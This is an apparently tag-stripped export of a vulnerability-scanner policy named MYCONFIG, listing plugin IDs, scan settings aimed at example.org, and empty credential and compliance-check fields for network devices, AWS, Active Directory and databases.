5298;72813;14301;62384;77169;58797;90627;23870;11349;81315;56037;20907;84639;73521;84263;55720;81404;49271;10047;73947;73412;94631;10553;24870;87253;59457;90525;52995;93525;53549;20219;66836;62683;10463;34769;10503;69430;31044;83877;43005;14686;84056;73985;18223;81490;11695;12097;85693;61797;18591;11150;25899;33201;87948;76313;89684;43066;59230;29741;10432;12018;85323;64394;69986;71806;54998;59402;26195;90526;72094;71844;59465;59557;33136;88090;77667;56874;31137;70556;47708;11994;13646;49997;62905;63417;92817;93788;17246;17634;59837;30204;96047;97100;20133;22129;11768;65078;80103;73498;10517;95631;84262;100934;35326;77184;103328;72725;104359;40870;18525;58430;12198;26915;95288;99372;72966;69800;55995;48956;10678;55144;55900;62785;76072;73671;99709;92461;31465;20976;93829;77557;97729;66393;30053;21737;102859;83184;69829;11884;12246;17811;14773;23753;11911;78087;59328;58831;90254;88936;82077;14390;25955;10557;25123;69471;45109;40458;102527;78542;88042;57859;10180;45440;84007;21024;78670;78079;59017;65914;32373;67121;70630;65982;10673;96828;70175;10582;88906;51388;18020;82698;42373;58681;10372;78858;58658;42372;15459;22005;70103;14182;11486;59375;67124;10805;56039;14803;44960;84164;79250;54844;63419;20147;35778;17705;58746;24274;59607;10964;90151;11344;76769;58516;61530;17367;49025;71435;84499;44596;70137;66256;77500;42977;32322;34948;103973;11176;78602;38183;17633;50652;86478;10502;81789;20254;96626;58770;10600;61718;70739;102918;12030;67204;81000;62746;77572;40470;1337223;22234;74293;10462;74246;11777;21625;10284;18522;22268;90861;64579;73854;64722;70742;25551;15762;64246;17792;11591;11197;81001;20750;38952;32137;17304;104890;104854;11941;68963;58975;11409;33480;100151;78082;81258;93111;21691;53641;77053;25902;10109;17991;71862;86255;78823;17727;78514;11618;58726;41980;81649;16204;35468;17222;88693;23928;10291;34209;87254;88843;19503;51664;72214;70972;14614;100385;12061;68879;84151;10681;76389;50546;56993;57862;11244;60081;24998;100220;64258;59797;87954;56239;24338;77987;89674;53876;20744;53514;73915;12638;88381;89785;17305;17736;88598;76405;25246;54580;67193;46015;58321;17329;86058;34099;70293;19386;86247;21053;48351;73864;64262;40773;11521;58994;10900;57800;88385;69276;21580;50689;69552;21787;29898;99199;84017;84086;16201;102202;11845;15722;85653;69866;71847;72039;84158;49691;14302;19946;12007;79137;55127;54605;53323;72482;35430;25765;16314;99105;13859;14227;62990;12017;11274;50687;90540;71944;59018;90066;93814;14388;10530;57770;62579;55797;21779;93962;25040;51876;86366;62621;47831;18166;81575;31132;17790;63242;51874;104886;78546;63095;79625;63113;20295;17293;34043;103746;91611;99587;11283;57666;104409;17604;19502;86916;25822;53391;63355;64589;100422;69929;10733;39767;96001;47803;63225;59911;78076;88694;70716;11253;79641;57043;91124;92630;94166;104547;84055;15859;11387;18587;30207;51925;103674;76262;18392;11592;55507;94403;48962;10434;78669;23835;84053;99283;72771;20970;63185;56198;53380;73379;92871;92787;25842;49807;83136;14336;13637;17230;61534;29855;14834;11579;80489;18503;11848;18139;57032;14719;19218;73644;42306;44076;84291;52611;42339;16321;66410;25085;96450;51815;84810;25811;71972;60119;56119;10629;84217;73515;31735;73373;25460;52050;56862;72185;49270;33866;61487;73209;102713;77539;103962;14659;17694;72859;31797;59171;85847;86822;40851;17983;84431;64567;24270;65050;93655;10280;73119;54842;10593;39852;18355;55650;92557;18216;50539;51458;31411;42087;72034;73299;100052;29867;99584;19689;21152;200026;52158;10632;41645;104127;20348;103672;72579;65951;90798;58409;57353;66480;44425;51998;47581;33899;59293;20833;55630;47579;10454;11091;10170;74423;65630;11514;38890;62461;90891;101090;87872;45422;10476;71941;18626;28289;72621;55473;17757;40420;24003;58231;11083;79640;65047;96305;69443;58651;36171;62940;60064;73991;49036;11069;61414;11558;14222;96486;64475;20926;73668;48991;34158;29854;14729;30057;43172;11468;88088;11785;12075;24735;47710;16334;11634;74041;41058;55907;17717;39346;11649;15529;58319;78675;74365;93224;42115;88679;52531;35822;62390;15517;85300;42053;11119;55445;46222;99671;100152;52673;10086;96610;200031;19758;12028;10112;23640;44110;33481;95468;32399;72510;64789;89680;19938;49949;22364;22073;66474;104898;65215;30219;63200;59559;73125;59359;48405;85845;74152;93810;21247;49224;62967;11830;65878;17829;64292;15905;18050;72180;89103;10171;20181;10727;82830;10987;67245;25755;104103;39469;29746;39809;65738;76788;35008;40822;18264;11144;72262;11006;99237;84289;50830;36072;14327;11322;65643;53548;84047;19547;87206;73672;76306;25693;35631;11703;77388;69333;54956;86899;15623;55577;62352;92437;21565;56711;59456;20834;25735;35009;56165;76936;70413;24275;43062;40805;86996;62810;55691;33133;80201;85887;77406;16327;17349;45623;58901;31120;56651;64485;55977;96770;11478;59357;84924;64555;45509;10023;101357;18681;11403;20251;18011;17692;71317;17735;29726;104437;77708;24902;101046;93229;73120;12053;29833;22203;104901;33926;11278;48287;11658;34851;73416;86192;65997;20062;86827;78075;45435;40617;21154;11148;86884;33270;70657;11015;35296;11042;90441;86653;59077;57337;78548;90190;70313;81126;23783;80303;19597;81602;93898;20003;33763;73641;104031;39500;45047;91162;18040;56510;18420;74122;90429;77003;58527;11495;12284;64484;103456;53492;46858;10848;19406;57978;72904;56391;14832;18098;81592;87953;57863;86061;78435;72041;50476;35360;35977;11301;86610;11481;55859;80910;101836;10806;10135;96831;21100;53536;25167;27600;11798;10977;19404;64826;53405;14375;72480;47712;65949;103131;94052;32194;86547;70456;58526;81919;19698;10264;90544;72773;18288;72008;11288;52704;103112;77984;95663;90308;70398;63241;20734;16045;74264;83520;21226;73804;83959;10453;67259;101168;84021;15484;11760;92457;59310;74328;77332;88412;81731;47765;24784;48975;77822;15715;57849;69050;74026;22368;11567;102272;78422;83490;22307;89781;65901;49007;59849;67122;70072;33128;65731;17823;63559;72092;70980;70683;57335;86060;10670;62744;76777;66176;87252;89052;56634;66871;11442;14800;26069;50513;77909;16216;92467;10591;10048;82848;27575;77711;66304;103986;81401;53475;59211;11596;92790;47744;55908;35804;21116;44116;69139;1337014;31679;104124;25037;1337003;42798;58445;77576;91461;11891;72007;1337029;86568;96905;20108;78444;22538;19695;15485;87733;69555;17723;91974;200012;39354;47580;48291;77703;99708;10266;63554;11686;48352;76165;11245;96607;20214;68939;90353;47861;14668;1337019;92414;22482;55901;11474;70885;103784;77581;60094;104665;89756;20910;91222;26014;69953;59530;73577;83475;34414;66545;65548;35221;31850;66234;90711;10763;69985;104386;21168;21214;69032;79251;62480;60017;58351;85540;31718;22877;34725;49044;103139;21689;24898;14626;46841;81492;35742;64827;57364;10124;59644;72907;44067;93845;79577;73490;77861;25148;84401;100718;22296;34475;58597;19696;56379;92413;12064;103514;83036;46860;99763;33942;58517;17161;19287;76257;104459;30202;78031;11675;38718;91781;95874;83349;41646;42964;90067;63644;44414;35703;200027;78556;34109;18084;21019;85254;15966;21221;10911;34197;21235;100955;11586;100682;58007;52544;15783;100784;104575;84008;24999;14683;51389;77158;76261;51774;63619;29308;69832;59117;57617;59113;54618;103569;20991;62581;49701;42878;10022;15611;73613;79826;62688;11363;18202;12278;11720;11577;59111;11906;70849;47898;69317;57769;11131;92492;58446;62925;31193;11058;10435;94162;10538;53848;35766;100321;49774;91004;18246;72704;10637;72487;85895;61381;104102;34119;76125;65764;84745;34096;84736;76527;99169;57027;11327;72141;59733;20320;53223;25147;19313;63346;10953;18375;19707;103303;101525;97525;20827;35073;35361;11931;67247;17714;62641;16271;83361;10735;10959;59788;56633;74251;90197;14682;35374;70744;79664;87675;20112;88644;44945;58603;14237;93817;87734;25251;77162;76462;20841;15651;44422;104049;84640;103987;56314; + +TARGET +https://www.example.org + +throttle_scan +yes + +listen_address +0.0.0.0 + +local_portscan.snmp +yes + +non_simult_ports +139, 445, 3389 + +slice_network_addresses +no + +local_portscan.netstat_ssh +yes + +max_checks +5 + +network_scanners.syn +yes + +stop_scan_on_disconnect +yes + +report_crashes +yes + +xmlrpc_listen_port +8834 + +network_scanners.tcp +no + +ui.aws.region_category +Rest of the World + +name +MYCONFIG + +description +MYCONFIG default policy for internet-facing systems. + +whoami +daspi + +reverse_lookup +no + +optimize_test +yes + +log_whole_attack +yes + +portscan.ping +yes + +ssl_cipher_list +strong + +cgi_path +/cgi-bin:/scripts + +unscanned_closed +no + +auto_update_ui +no + +use_kernel_congestion_detection +yes + +auto_update +no + +listen_port +1241 + +network_scanners.udp +no + +checks_read_timeout +5 + +local_portscan.netstat_wmi +yes + +plugins_timeout +1800 + +auto_enable_dependencies +yes + +safe_checks +yes + +report_task_id +4eda8969-138e-2e3c-b2ca-c158d96fd1eb28379e2a45568f53 + +stop_scan_on_hang +no + +visibility +private + +allow_post_scan_editing +yes + +wizard_uuid +ad629e16-03b6-8c1d-cef6-ef8c9dd3c658d24bd260ef5f9e66 + +max_hosts +100 + +plugin_upload +yes + +reduce_connections_on_congestion +no + +feed_type +ProFeed + +silent_dependencies +yes + +port_range +default + + +Adtran AOS Compliance Checks +71991 +Adtran AOS Compliance Checks[file]:Policy file #1 : +Policy file #1 : +file + + + +Adtran AOS Compliance Checks +71991 +Adtran AOS Compliance Checks[file]:Policy file #2 : +Policy file #2 : +file + + + +Adtran AOS Compliance Checks +71991 +Adtran AOS Compliance Checks[file]:Policy file #3 : +Policy file #3 : +file + + + +Adtran AOS Compliance Checks +71991 +Adtran AOS Compliance Checks[file]:Policy file #4 : +Policy file #4 : +file + + + +Adtran AOS Compliance Checks +71991 +Adtran AOS Compliance Checks[file]:Policy file #5 : +Policy file #5 : +file + + + +Adtran AOS Compliance Checks +71991 +Adtran AOS Compliance Checks[file]:Offline config file (.txt or .zip) : +Offline config file (.txt or .zip) : +file + + + +ADSI Settings +60024 +ADSI Settings[entry]:Domain Controller : +Domain Controller : +entry + + + +ADSI Settings +60024 +ADSI Settings[entry]:Domain : +Domain : +entry + + + +ADSI Settings +60024 +ADSI Settings[entry]:Domain Username : +Domain Username : +entry + + + +ADSI Settings +60024 +ADSI Settings[password]:Domain Password : +Domain Password : +password + + + +ADSI Settings +60024 +ADSI Settings[entry]:Domain Controller 2: +Domain Controller 2: +entry + + + +ADSI Settings +60024 +ADSI Settings[entry]:Domain 2: +Domain 2: +entry + + + +ADSI Settings +60024 +ADSI Settings[entry]:Domain Username 2: +Domain Username 2: +entry + + + +ADSI Settings +60024 +ADSI Settings[password]:Domain Password 2: +Domain Password 2: +password + + + +ADSI Settings +60024 +ADSI Settings[entry]:Domain Controller 3: +Domain Controller 3: +entry + + + +ADSI Settings +60024 +ADSI Settings[entry]:Domain 3: +Domain 3: +entry + + + +ADSI Settings +60024 +ADSI Settings[entry]:Domain Username 3: +Domain Username 3: +entry + + + +ADSI Settings +60024 +ADSI Settings[password]:Domain Password 3: +Domain Password 3: +password + + + +ADSI Settings +60024 +ADSI Settings[entry]:Domain Controller 4: +Domain Controller 4: +entry + + + +ADSI Settings +60024 +ADSI Settings[entry]:Domain 4: +Domain 4: +entry + + + +ADSI Settings +60024 +ADSI Settings[entry]:Domain Username 4: +Domain Username 4: +entry + + + +ADSI Settings +60024 +ADSI Settings[password]:Domain Password 4: +Domain Password 4: +password + + + +ADSI Settings +60024 +ADSI Settings[entry]:Domain Controller 5: +Domain Controller 5: +entry + + + +ADSI Settings +60024 +ADSI Settings[entry]:Domain 5: +Domain 5: +entry + + + +ADSI Settings +60024 +ADSI Settings[entry]:Domain Username 5: +Domain Username 5: +entry + + + +ADSI Settings +60024 +ADSI Settings[password]:Domain Password 5: +Domain Password 5: +password + + + +AirWatch API Settings +76460 +AirWatch API Settings[entry]:AirWatch Environment API URL : +AirWatch Environment API URL : +entry + + + +AirWatch API Settings +76460 +AirWatch API Settings[entry]:AirWatch port : +AirWatch port : +entry + + + +AirWatch API Settings +76460 +AirWatch API Settings[entry]:AirWatch username : +AirWatch username : +entry + + + +AirWatch API Settings +76460 +AirWatch API Settings[password]:AirWatch password : +AirWatch password : +password + + + +AirWatch API Settings +76460 +AirWatch API Settings[entry]:AirWatch API key : +AirWatch API key : +entry + + + +AirWatch API Settings +76460 +AirWatch API Settings[checkbox]:SSL : +SSL : +checkbox +yes +yes + +AirWatch API Settings +76460 +AirWatch API Settings[checkbox]:Verify SSL certificate : +Verify SSL certificate : +checkbox +no +no + +Amazon AWS Compliance Checks +72426 +Amazon AWS Compliance Checks[file]:Policy file #1 : +Policy file #1 : +file + + + +Amazon AWS Compliance Checks +72426 +Amazon AWS Compliance Checks[file]:Policy file #2 : +Policy file #2 : +file + + + +Amazon AWS Compliance Checks +72426 +Amazon AWS Compliance Checks[file]:Policy file #3 : +Policy file #3 : +file + + + +Amazon AWS Compliance Checks +72426 +Amazon AWS Compliance Checks[file]:Policy file #4 : +Policy file #4 : +file + + + +Amazon AWS Compliance Checks +72426 +Amazon AWS Compliance Checks[file]:Policy file #5 : +Policy file #5 : +file + + + +Antivirus Software Check +16193 +Antivirus Software Check[entry]:Delay (in days, between 0 and 7) : +Delay (in days, between 0 and 7) : +entry +0 +0 + +Apple Profile Manager API Settings +60032 +Apple Profile Manager API Settings[entry]:Apple Profile Manager server : +Apple Profile Manager server : +entry + + + +Apple Profile Manager API Settings +60032 +Apple Profile Manager API Settings[entry]:Apple Profile Manager port : +Apple Profile Manager port : +entry +443 +443 + +Apple Profile Manager API Settings +60032 +Apple Profile Manager API Settings[entry]:Apple Profile Manager username : +Apple Profile Manager username : +entry + + + +Apple Profile Manager API Settings +60032 +Apple Profile Manager API Settings[password]:Apple Profile Manager password : +Apple Profile Manager password : +password + + + +Apple Profile Manager API Settings +60032 +Apple Profile Manager API Settings[checkbox]:SSL : +SSL : +checkbox +yes +yes + +Apple Profile Manager API Settings +60032 +Apple Profile Manager API Settings[checkbox]:Verify SSL Certificate : +Verify SSL Certificate : +checkbox +no +no + +Apple Profile Manager API Settings +60032 +Apple Profile Manager API Settings[checkbox]:Force Device Updates : +Force Device Updates : +checkbox +yes +yes + +Apple Profile Manager API Settings +60032 +Apple Profile Manager API Settings[entry]:Device Update Timeout (Minutes) : +Device Update Timeout (Minutes) : +entry +5 +5 + +Arista EOS Compliance Checks +92838 +Arista EOS Compliance Checks[file]:Policy file #1 : +Policy file #1 : +file + + + +Arista EOS Compliance Checks +92838 +Arista EOS Compliance Checks[file]:Policy file #2 : +Policy file #2 : +file + + + +Arista EOS Compliance Checks +92838 +Arista EOS Compliance Checks[file]:Policy file #3 : +Policy file #3 : +file + + + +Arista EOS Compliance Checks +92838 +Arista EOS Compliance Checks[file]:Policy file #4 : +Policy file #4 : +file + + + +Arista EOS Compliance Checks +92838 +Arista EOS Compliance Checks[file]:Policy file #5 : +Policy file #5 : +file + + + +Arista EOS Compliance Checks +92838 +Arista EOS Compliance Checks[file]:Offline config file (.txt or .zip) : +Offline config file (.txt or .zip) : +file + + + +Amazon Web Services Settings +73490 +Amazon Web Services Settings[checkbox]:Region us-east-1 : +Region us-east-1 : +checkbox +no +no + +Amazon Web Services Settings +73490 +Amazon Web Services Settings[checkbox]:Region us-east-2 : +Region us-east-2 : +checkbox +no +no + +Amazon Web Services Settings +73490 +Amazon Web Services Settings[checkbox]:Region us-west-1 : +Region us-west-1 : +checkbox +no +no + +Amazon Web Services Settings +73490 +Amazon Web Services Settings[checkbox]:Region us-west-2 : +Region us-west-2 : +checkbox +no +no + +Amazon Web Services Settings +73490 +Amazon Web Services Settings[checkbox]:Region eu-west-1 : +Region eu-west-1 : +checkbox +no +no + +Amazon Web Services Settings +73490 +Amazon Web Services Settings[checkbox]:Region eu-west-2 : +Region eu-west-2 : +checkbox +no +no + +Amazon Web Services Settings +73490 +Amazon Web Services Settings[checkbox]:Region eu-central-1 : +Region eu-central-1 : +checkbox +no +no + +Amazon Web Services Settings +73490 +Amazon Web Services Settings[checkbox]:Region ap-northeast-1 : +Region ap-northeast-1 : +checkbox +no +no + +Amazon Web Services Settings +73490 +Amazon Web Services Settings[checkbox]:Region ap-northeast-2 : +Region ap-northeast-2 : +checkbox +no +no + +Amazon Web Services Settings +73490 +Amazon Web Services Settings[checkbox]:Region ap-southeast-1 : +Region ap-southeast-1 : +checkbox +no +no + +Amazon Web Services Settings +73490 +Amazon Web Services Settings[checkbox]:Region ap-southeast-2 : +Region ap-southeast-2 : +checkbox +no +no + +Amazon Web Services Settings +73490 +Amazon Web Services Settings[checkbox]:Region ap-south-1 : +Region ap-south-1 : +checkbox +no +no + +Amazon Web Services Settings +73490 +Amazon Web Services Settings[checkbox]:Region sa-east-1 : +Region sa-east-1 : +checkbox +no +no + +Amazon Web Services Settings +73490 +Amazon Web Services Settings[checkbox]:Region cn-north-1 : +Region cn-north-1 : +checkbox +no +no + +Amazon Web Services Settings +73490 +Amazon Web Services Settings[checkbox]:Region us-gov-west-1 : +Region us-gov-west-1 : +checkbox +no +no + +Amazon Web Services Settings +73490 +Amazon Web Services Settings[checkbox]:Region ca-central-1 : +Region ca-central-1 : +checkbox +no +no + +Amazon Web Services Settings +73490 +Amazon Web Services Settings[password]:AWS Access Key ID : +AWS Access Key ID : +password + + + +Amazon Web Services Settings +73490 +Amazon Web Services Settings[password]:AWS Secret Access Key : +AWS Secret Access Key : +password + + + +Amazon Web Services Settings +73490 +Amazon Web Services Settings[checkbox]:SSL : +SSL : +checkbox +yes +yes + +Amazon Web Services Settings +73490 +Amazon Web Services Settings[checkbox]:Verify SSL Certificate : +Verify SSL Certificate : +checkbox +yes +yes + +BlueCoat ProxySG Compliance Checks +70470 +BlueCoat ProxySG Compliance Checks[file]:Policy file #1 : +Policy file #1 : +file + + + +BlueCoat ProxySG Compliance Checks +70470 +BlueCoat ProxySG Compliance Checks[file]:Policy file #2 : +Policy file #2 : +file + + + +BlueCoat ProxySG Compliance Checks +70470 +BlueCoat ProxySG Compliance Checks[file]:Policy file #3 : +Policy file #3 : +file + + + +BlueCoat ProxySG Compliance Checks +70470 +BlueCoat ProxySG Compliance Checks[file]:Policy file #4 : +Policy file #4 : +file + + + +BlueCoat ProxySG Compliance Checks +70470 +BlueCoat ProxySG Compliance Checks[file]:Policy file #5 : +Policy file #5 : +file + + + +BlueCoat ProxySG Compliance Checks +70470 +BlueCoat ProxySG Compliance Checks[file]:Offline config file (.txt or .zip) : +Offline config file (.txt or .zip) : +file + + + +Brocade FabricOS Compliance Checks +71842 +Brocade FabricOS Compliance Checks[file]:Policy file #1 : +Policy file #1 : +file + + + +Brocade FabricOS Compliance Checks +71842 +Brocade FabricOS Compliance Checks[file]:Policy file #2 : +Policy file #2 : +file + + + +Brocade FabricOS Compliance Checks +71842 +Brocade FabricOS Compliance Checks[file]:Policy file #3 : +Policy file #3 : +file + + + +Brocade FabricOS Compliance Checks +71842 +Brocade FabricOS Compliance Checks[file]:Policy file #4 : +Policy file #4 : +file + + + +Brocade FabricOS Compliance Checks +71842 +Brocade FabricOS Compliance Checks[file]:Policy file #5 : +Policy file #5 : +file + + + +Brocade FabricOS Compliance Checks +71842 +Brocade FabricOS Compliance Checks[file]:Offline config file (.txt or .zip) : +Offline config file (.txt or .zip) : +file + + + +Check Point GAiA Compliance Checks +62679 +Check Point GAiA Compliance Checks[file]:Policy file #1 : +Policy file #1 : +file + + + +Check Point GAiA Compliance Checks +62679 +Check Point GAiA Compliance Checks[file]:Policy file #2 : +Policy file #2 : +file + + + +Check Point GAiA Compliance Checks +62679 +Check Point GAiA Compliance Checks[file]:Policy file #3 : +Policy file #3 : +file + + + +Check Point GAiA Compliance Checks +62679 +Check Point GAiA Compliance Checks[file]:Policy file #4 : +Policy file #4 : +file + + + +Check Point GAiA Compliance Checks +62679 +Check Point GAiA Compliance Checks[file]:Policy file #5 : +Policy file #5 : +file + + + +Check Point GAiA Compliance Checks +62679 +Check Point GAiA Compliance Checks[file]:Offline config file (.txt or .zip) : +Offline config file (.txt or .zip) : +file + + + +Cisco IOS Compliance Checks +46689 +Cisco IOS Compliance Checks[radio]:IOS Config File To Audit : +IOS Config File To Audit : +radio +Saved/(show config);Running/(show running);Startup/(show startup) +Saved/(show config) + +Cisco IOS Compliance Checks +46689 +Cisco IOS Compliance Checks[file]:Policy file #1 : +Policy file #1 : +file + + + +Cisco IOS Compliance Checks +46689 +Cisco IOS Compliance Checks[file]:Policy file #2 : +Policy file #2 : +file + + + +Cisco IOS Compliance Checks +46689 +Cisco IOS Compliance Checks[file]:Policy file #3 : +Policy file #3 : +file + + + +Cisco IOS Compliance Checks +46689 +Cisco IOS Compliance Checks[file]:Policy file #4 : +Policy file #4 : +file + + + +Cisco IOS Compliance Checks +46689 +Cisco IOS Compliance Checks[file]:Policy file #5 : +Policy file #5 : +file + + + +Cisco IOS Compliance Checks +46689 +Cisco IOS Compliance Checks[file]:Offline config file (.txt or .zip) : +Offline config file (.txt or .zip) : +file + + + +Citrix XenServer Compliance Checks +69512 +Citrix XenServer Compliance Checks[file]:Policy file #1 : +Policy file #1 : +file + + + +Citrix XenServer Compliance Checks +69512 +Citrix XenServer Compliance Checks[file]:Policy file #2 : +Policy file #2 : +file + + + +Citrix XenServer Compliance Checks +69512 +Citrix XenServer Compliance Checks[file]:Policy file #3 : +Policy file #3 : +file + + + +Citrix XenServer Compliance Checks +69512 +Citrix XenServer Compliance Checks[file]:Policy file #4 : +Policy file #4 : +file + + + +Citrix XenServer Compliance Checks +69512 +Citrix XenServer Compliance Checks[file]:Policy file #5 : +Policy file #5 : +file + + + +Cleartext protocols settings +21744 +Cleartext protocols settings[entry]:User name : +User name : +entry + + + +Cleartext protocols settings +21744 +Cleartext protocols settings[password]:Password (unsafe!) : +Password (unsafe!) : +password + + + +Cleartext protocols settings +21744 +Cleartext protocols settings[checkbox]:Try to perform patch level checks over telnet +Try to perform patch level checks over telnet +checkbox +no +no + +Cleartext protocols settings +21744 +Cleartext protocols settings[checkbox]:Try to perform patch level checks over rsh +Try to perform patch level checks over rsh +checkbox +no +no + +Cleartext protocols settings +21744 +Cleartext protocols settings[checkbox]:Try to perform patch level checks over rexec +Try to perform patch level checks over rexec +checkbox +no +no + +Windows File Contents Compliance Checks +24760 +Windows File Contents Compliance Checks[file]:Policy file #1 : +Policy file #1 : +file + + + +Windows File Contents Compliance Checks +24760 +Windows File Contents Compliance Checks[file]:Policy file #2 : +Policy file #2 : +file + + + +Windows File Contents Compliance Checks +24760 +Windows File Contents Compliance Checks[file]:Policy file #3 : +Policy file #3 : +file + + + +Windows File Contents Compliance Checks +24760 +Windows File Contents Compliance Checks[file]:Policy file #4 : +Policy file #4 : +file + + + +Windows File Contents Compliance Checks +24760 +Windows File Contents Compliance Checks[file]:Policy file #5 : +Policy file #5 : +file + + + +Windows Compliance Checks +21156 +Windows Compliance Checks[file]:Policy file #1 : +Policy file #1 : +file + + + +Windows Compliance Checks +21156 +Windows Compliance Checks[file]:Policy file #2 : +Policy file #2 : +file + + + +Windows Compliance Checks +21156 +Windows Compliance Checks[file]:Policy file #3 : +Policy file #3 : +file + + + +Windows Compliance Checks +21156 +Windows Compliance Checks[file]:Policy file #4 : +Policy file #4 : +file + + + +Windows Compliance Checks +21156 +Windows Compliance Checks[file]:Policy file #5 : +Policy file #5 : +file + + + +Database settings +33815 +Database settings[radio]:DB Type : +DB Type : +radio +Oracle;SQL Server;MySQL;DB2;Informix/DRDA;PostgreSQL;Sybase ASE +Oracle;SQL Server;MySQL;DB2;Informix/DRDA;PostgreSQL;Sybase ASE + +Database settings +33815 +Database settings[radio]:Database service type : +Database service type : +radio +SID;SERVICE_NAME +SID;SERVICE_NAME + +Database settings +33815 +Database settings[entry]:Database SID : +Database SID : +entry + + + +Database settings +33815 +Database settings[entry]:Database port to use : +Database port to use : +entry + + + +Database settings +33815 +Database settings[entry]:Login : +Login : +entry + + + +Database settings +33815 +Database settings[password]:Password : +Password : +password + + + +Database settings +33815 +Database settings[radio]:Oracle auth type: +Oracle auth type: +radio +NORMAL;SYSOPER;SYSDBA +NORMAL;SYSOPER;SYSDBA + +Database settings +33815 +Database settings[radio]:SQL Server auth type: +SQL Server auth type: +radio +Windows;SQL +Windows;SQL + +Database settings +33815 +Database settings[radio]:Sybase ASE auth type: +Sybase ASE auth type: +radio +RSA;Plain Text +RSA;Plain Text + +Database settings +33815 +Database settings[radio]:Additional DB Type (1) : +Additional DB Type (1) : +radio +Oracle;SQL Server;MySQL;DB2;Informix/DRDA;PostgreSQL;Sybase ASE +Oracle;SQL Server;MySQL;DB2;Informix/DRDA;PostgreSQL;Sybase ASE + +Database settings +33815 +Database settings[radio]:Additional Database service type (1) : +Additional Database service type (1) : +radio +SID;SERVICE_NAME +SID;SERVICE_NAME + +Database settings +33815 +Database settings[entry]:Additional Database SID (1) : +Additional Database SID (1) : +entry + + + +Database settings +33815 +Database settings[entry]:Additional Database port to use (1) : +Additional Database port to use (1) : +entry + + + +Database settings +33815 +Database settings[entry]:Additional Login (1) : +Additional Login (1) : +entry + + + +Database settings +33815 +Database settings[password]:Additional Password (1) : +Additional Password (1) : +password + + + +Database settings +33815 +Database settings[radio]:Additional Oracle auth type (1) : +Additional Oracle auth type (1) : +radio +NORMAL;SYSOPER;SYSDBA +NORMAL;SYSOPER;SYSDBA + +Database settings +33815 +Database settings[radio]:Additional SQL Server auth type (1) : +Additional SQL Server auth type (1) : +radio +Windows;SQL +Windows;SQL + +Database settings +33815 +Database settings[radio]:Additional Sybase ASE auth type (1) : +Additional Sybase ASE auth type (1) : +radio +RSA;Plain Text +RSA;Plain Text + +Database settings +33815 +Database settings[radio]:Additional DB Type (2) : +Additional DB Type (2) : +radio +Oracle;SQL Server;MySQL;DB2;Informix/DRDA;PostgreSQL;Sybase ASE +Oracle;SQL Server;MySQL;DB2;Informix/DRDA;PostgreSQL;Sybase ASE + +Database settings +33815 +Database settings[radio]:Additional Database service type (2) : +Additional Database service type (2) : +radio +SID;SERVICE_NAME +SID;SERVICE_NAME + +Database settings +33815 +Database settings[entry]:Additional Database SID (2) : +Additional Database SID (2) : +entry + + + +Database settings +33815 +Database settings[entry]:Additional Database port to use (2) : +Additional Database port to use (2) : +entry + + + +Database settings +33815 +Database settings[entry]:Additional Login (2) : +Additional Login (2) : +entry + + + +Database settings +33815 +Database settings[password]:Additional Password (2) : +Additional Password (2) : +password + + + +Database settings +33815 +Database settings[radio]:Additional Oracle auth type (2) : +Additional Oracle auth type (2) : +radio +NORMAL;SYSOPER;SYSDBA +NORMAL;SYSOPER;SYSDBA + +Database settings +33815 +Database settings[radio]:Additional SQL Server auth type (2) : +Additional SQL Server auth type (2) : +radio +Windows;SQL +Windows;SQL + +Database settings +33815 +Database settings[radio]:Additional Sybase ASE auth type (2) : +Additional Sybase ASE auth type (2) : +radio +RSA;Plain Text +RSA;Plain Text + +Database settings +33815 +Database settings[radio]:Additional DB Type (3) : +Additional DB Type (3) : +radio +Oracle;SQL Server;MySQL;DB2;Informix/DRDA;PostgreSQL;Sybase ASE +Oracle;SQL Server;MySQL;DB2;Informix/DRDA;PostgreSQL;Sybase ASE + +Database settings +33815 +Database settings[radio]:Additional Database service type (3) : +Additional Database service type (3) : +radio +SID;SERVICE_NAME +SID;SERVICE_NAME + +Database settings +33815 +Database settings[entry]:Additional Database SID (3) : +Additional Database SID (3) : +entry + + + +Database settings +33815 +Database settings[entry]:Additional Database port to use (3) : +Additional Database port to use (3) : +entry + + + +Database settings +33815 +Database settings[entry]:Additional Login (3) : +Additional Login (3) : +entry + + + +Database settings +33815 +Database settings[password]:Additional Password (3) : +Additional Password (3) : +password + + + +Database settings +33815 +Database settings[radio]:Additional Oracle auth type (3) : +Additional Oracle auth type (3) : +radio +NORMAL;SYSOPER;SYSDBA +NORMAL;SYSOPER;SYSDBA + +Database settings +33815 +Database settings[radio]:Additional SQL Server auth type (3) : +Additional SQL Server auth type (3) : +radio +Windows;SQL +Windows;SQL + +Database settings +33815 +Database settings[radio]:Additional Sybase ASE auth type (3) : +Additional Sybase ASE auth type (3) : +radio +RSA;Plain Text +RSA;Plain Text + +Database settings +33815 +Database settings[radio]:Additional DB Type (4) : +Additional DB Type (4) : +radio +Oracle;SQL Server;MySQL;DB2;Informix/DRDA;PostgreSQL;Sybase ASE +Oracle;SQL Server;MySQL;DB2;Informix/DRDA;PostgreSQL;Sybase ASE + +Database settings +33815 +Database settings[radio]:Additional Database service type (4) : +Additional Database service type (4) : +radio +SID;SERVICE_NAME +SID;SERVICE_NAME + +Database settings +33815 +Database settings[entry]:Additional Database SID (4) : +Additional Database SID (4) : +entry + + + +Database settings +33815 +Database settings[entry]:Additional Database port to use (4) : +Additional Database port to use (4) : +entry + + + +Database settings +33815 +Database settings[entry]:Additional Login (4) : +Additional Login (4) : +entry + + + +Database settings +33815 +Database settings[password]:Additional Password (4) : +Additional Password (4) : +password + + + +Database settings +33815 +Database settings[radio]:Additional Oracle auth type (4) : +Additional Oracle auth type (4) : +radio +NORMAL;SYSOPER;SYSDBA +NORMAL;SYSOPER;SYSDBA + +Database settings +33815 +Database settings[radio]:Additional SQL Server auth type (4) : +Additional SQL Server auth type (4) : +radio +Windows;SQL +Windows;SQL + +Database settings +33815 +Database settings[radio]:Additional Sybase ASE auth type (4) : +Additional Sybase ASE auth type (4) : +radio +RSA;Plain Text +RSA;Plain Text + +Database Compliance Checks +33814 +Database Compliance Checks[file]:Policy file #1 : +Policy file #1 : +file + + + +Database Compliance Checks +33814 +Database Compliance Checks[file]:Policy file #2 : +Policy file #2 : +file + + + +Database Compliance Checks +33814 +Database Compliance Checks[file]:Policy file #3 : +Policy file #3 : +file + + + +Database Compliance Checks +33814 +Database Compliance Checks[file]:Policy file #4 : +Policy file #4 : +file + + + +Database Compliance Checks +33814 +Database Compliance Checks[file]:Policy file #5 : +Policy file #5 : +file + + + +Dell Force10 FTOS Compliance Checks +72461 +Dell Force10 FTOS Compliance Checks[file]:Policy file #1 : +Policy file #1 : +file + + + +Dell Force10 FTOS Compliance Checks 